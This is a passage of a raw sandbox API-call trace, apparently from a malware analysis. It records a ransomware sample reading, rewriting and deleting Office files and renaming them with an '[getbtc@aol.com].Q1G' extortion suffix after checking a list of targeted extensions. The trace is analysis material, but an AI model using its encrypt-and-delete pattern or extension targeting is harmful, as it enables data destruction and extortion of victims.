dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.501] SetEndOfFile (hFile=0x398) returned 1 [0253.503] CloseHandle (hObject=0x398) returned 1 [0253.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc")) returned 1 [0253.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.564] lstrlenW (lpString=".doc") returned 4 [0253.564] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.564] lstrlenW (lpString=".docx") returned 5 [0253.564] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.564] lstrlenW (lpString=".pdf") returned 4 [0253.564] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.564] lstrlenW (lpString=".xls") returned 4 [0253.564] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.564] lstrlenW (lpString=".xlsx") returned 5 [0253.564] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.564] lstrlenW (lpString=".ppt") returned 4 [0253.564] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.564] lstrlenW (lpString=".zip") returned 4 [0253.564] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.564] lstrlenW (lpString=".rar") returned 4 [0253.564] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.564] lstrlenW (lpString=".bz2") returned 4 [0253.564] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.564] lstrlenW (lpString=".7z") returned 3 [0253.565] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.565] lstrlenW (lpString=".dbf") returned 4 [0253.565] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.565] lstrlenW (lpString=".1cd") returned 4 [0253.565] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.565] lstrlenW (lpString=".jpg") returned 4 [0253.565] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.565] lstrlenW (lpString=".doc") returned 4 [0253.565] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.565] lstrlenW (lpString=".docx") returned 5 [0253.565] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.565] lstrlenW (lpString=".pdf") returned 4 [0253.565] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.565] lstrlenW (lpString=".xls") returned 4 [0253.565] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.565] lstrlenW (lpString=".xlsx") returned 5 [0253.565] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.565] lstrlenW (lpString=".ppt") returned 4 [0253.565] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.565] lstrlenW (lpString=".zip") returned 4 [0253.565] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.565] lstrlenW (lpString=".rar") returned 4 [0253.565] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.565] lstrlenW (lpString=".bz2") returned 4 [0253.565] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.565] lstrlenW (lpString=".7z") returned 3 [0253.565] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.565] lstrlenW (lpString=".dbf") returned 4 [0253.565] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.566] lstrlenW (lpString=".1cd") returned 4 [0253.566] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0253.566] lstrlenW (lpString=".jpg") returned 4 [0253.566] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.566] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0253.566] lstrlenW (lpString="POWERPNT_COL.HXC") returned 16 [0253.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.566] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=636) returned 1 [0253.566] CloseHandle (hObject=0x324) returned 1 [0253.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 0x20 [0253.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.567] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.567] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0253.568] GetLastError () returned 0x0 [0253.568] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x27c, lpOverlapped=0x0) returned 1 [0253.606] WriteFile (in: hFile=0x338, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x280, lpOverlapped=0x0) returned 1 [0253.607] ReadFile (in: hFile=0x324, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.607] WriteFile (in: hFile=0x338, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0253.607] SetEndOfFile (hFile=0x338) returned 1 [0253.607] CloseHandle (hObject=0x338) returned 1 [0253.607] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.607] SetEndOfFile (hFile=0x324) returned 1 [0253.609] CloseHandle (hObject=0x324) returned 1 [0253.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 1 [0253.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.706] lstrlenW (lpString=".doc") returned 4 [0253.706] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.706] lstrlenW (lpString=".docx") returned 5 [0253.706] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.706] lstrlenW (lpString=".pdf") returned 4 [0253.707] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.707] lstrlenW (lpString=".xls") returned 4 [0253.707] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.707] lstrlenW (lpString=".xlsx") returned 5 [0253.707] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.707] lstrlenW (lpString=".ppt") returned 4 [0253.707] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.707] lstrlenW (lpString=".zip") returned 4 [0253.707] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.707] lstrlenW (lpString=".rar") returned 4 [0253.707] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.707] lstrlenW (lpString=".bz2") returned 4 [0253.707] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.707] lstrlenW (lpString=".7z") returned 3 [0253.707] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.707] lstrlenW (lpString=".dbf") returned 4 [0253.707] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.707] lstrlenW (lpString=".1cd") returned 4 [0253.707] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.707] lstrlenW (lpString=".jpg") returned 4 [0253.707] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.707] lstrlenW (lpString=".doc") returned 4 [0253.707] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.707] lstrlenW (lpString=".docx") returned 5 [0253.707] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.707] lstrlenW (lpString=".pdf") returned 4 [0253.707] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.707] lstrlenW (lpString=".xls") returned 4 [0253.708] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.708] lstrlenW (lpString=".xlsx") returned 5 [0253.708] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.708] lstrlenW (lpString=".ppt") returned 4 [0253.708] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.708] lstrlenW (lpString=".zip") returned 4 [0253.708] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.708] lstrlenW (lpString=".rar") returned 4 [0253.708] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.708] lstrlenW (lpString=".bz2") returned 4 [0253.708] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.708] lstrlenW (lpString=".7z") returned 3 [0253.708] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.708] lstrlenW (lpString=".dbf") returned 4 [0253.708] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.708] lstrlenW (lpString=".1cd") returned 4 [0253.708] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0253.708] lstrlenW (lpString=".jpg") returned 4 [0253.708] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.708] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0253.708] lstrlenW (lpString="PUB6INTL.DLL") returned 12 [0253.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0253.734] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=6982504) returned 1 [0253.734] CloseHandle (hObject=0x3a8) returned 1 [0253.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll")) returned 0x20 [0253.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0253.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.796] lstrlenW (lpString=".doc") returned 4 [0253.796] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.796] lstrlenW (lpString=".docx") returned 5 [0253.796] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0253.796] lstrlenW (lpString=".pdf") returned 4 [0253.797] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.797] lstrlenW (lpString=".xls") returned 4 [0253.797] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.797] lstrlenW (lpString=".xlsx") returned 5 [0253.797] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0253.797] lstrlenW (lpString=".ppt") returned 4 [0253.797] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.797] lstrlenW (lpString=".zip") returned 4 [0253.797] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.797] lstrlenW (lpString=".rar") returned 4 [0253.797] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.797] lstrlenW (lpString=".bz2") returned 4 [0253.797] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.797] lstrlenW (lpString=".7z") returned 3 [0253.797] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.797] lstrlenW (lpString=".dbf") returned 4 [0253.797] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.797] lstrlenW (lpString=".1cd") returned 4 [0253.797] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.797] lstrlenW (lpString=".jpg") returned 4 [0253.797] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.797] lstrlenW (lpString=".doc") returned 4 [0253.797] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.797] lstrlenW (lpString=".docx") returned 5 [0253.797] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0253.797] lstrlenW (lpString=".pdf") returned 4 [0253.797] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.797] lstrlenW (lpString=".xls") returned 4 [0253.797] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.797] lstrlenW (lpString=".xlsx") returned 5 [0253.798] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0253.798] lstrlenW (lpString=".ppt") returned 4 [0253.798] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.798] lstrlenW (lpString=".zip") returned 4 [0253.798] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.798] lstrlenW (lpString=".rar") returned 4 [0253.798] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.798] lstrlenW (lpString=".bz2") returned 4 [0253.798] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.798] lstrlenW (lpString=".7z") returned 3 [0253.798] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.798] lstrlenW (lpString=".dbf") returned 4 [0253.798] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.798] lstrlenW (lpString=".1cd") returned 4 [0253.798] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0253.798] lstrlenW (lpString=".jpg") returned 4 [0253.798] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.798] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0253.798] lstrlenW (lpString="PUBWZINT.REST.IDX_DLL") returned 21 [0253.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.799] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=173952) returned 1 [0253.799] CloseHandle (hObject=0x1fc) returned 1 [0253.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll")) returned 0x20 [0253.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.799] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.799] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.800] GetLastError () returned 0x0 [0253.800] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x2a780, lpOverlapped=0x0) returned 1 [0253.805] WriteFile (in: hFile=0x394, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x2a790, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x2a790, lpOverlapped=0x0) returned 1 [0253.808] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.808] WriteFile (in: hFile=0x394, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0253.808] SetEndOfFile (hFile=0x394) returned 1 [0253.808] CloseHandle (hObject=0x394) returned 1 [0253.810] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.810] SetEndOfFile (hFile=0x1fc) returned 1 [0253.814] CloseHandle (hObject=0x1fc) returned 1 [0253.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll")) returned 1 [0253.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.815] lstrlenW (lpString=".doc") returned 4 [0253.815] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.815] lstrlenW (lpString=".docx") returned 5 [0253.815] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.815] lstrlenW (lpString=".pdf") returned 4 [0253.815] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString=".xls") returned 4 [0253.816] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString=".xlsx") returned 5 [0253.816] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.816] lstrlenW (lpString=".ppt") returned 4 [0253.816] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.816] lstrlenW (lpString=".zip") returned 4 [0253.816] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString=".rar") returned 4 [0253.816] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString=".bz2") returned 4 [0253.816] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString=".7z") returned 3 [0253.816] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.816] lstrlenW (lpString=".dbf") returned 4 [0253.816] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.816] lstrlenW (lpString=".1cd") returned 4 [0253.816] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.816] lstrlenW (lpString=".jpg") returned 4 [0253.816] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.816] lstrlenW (lpString=".doc") returned 4 [0253.816] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString=".docx") returned 5 [0253.816] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.816] lstrlenW (lpString=".pdf") returned 4 [0253.816] lstrcmpiW (lpString1=".pdf", 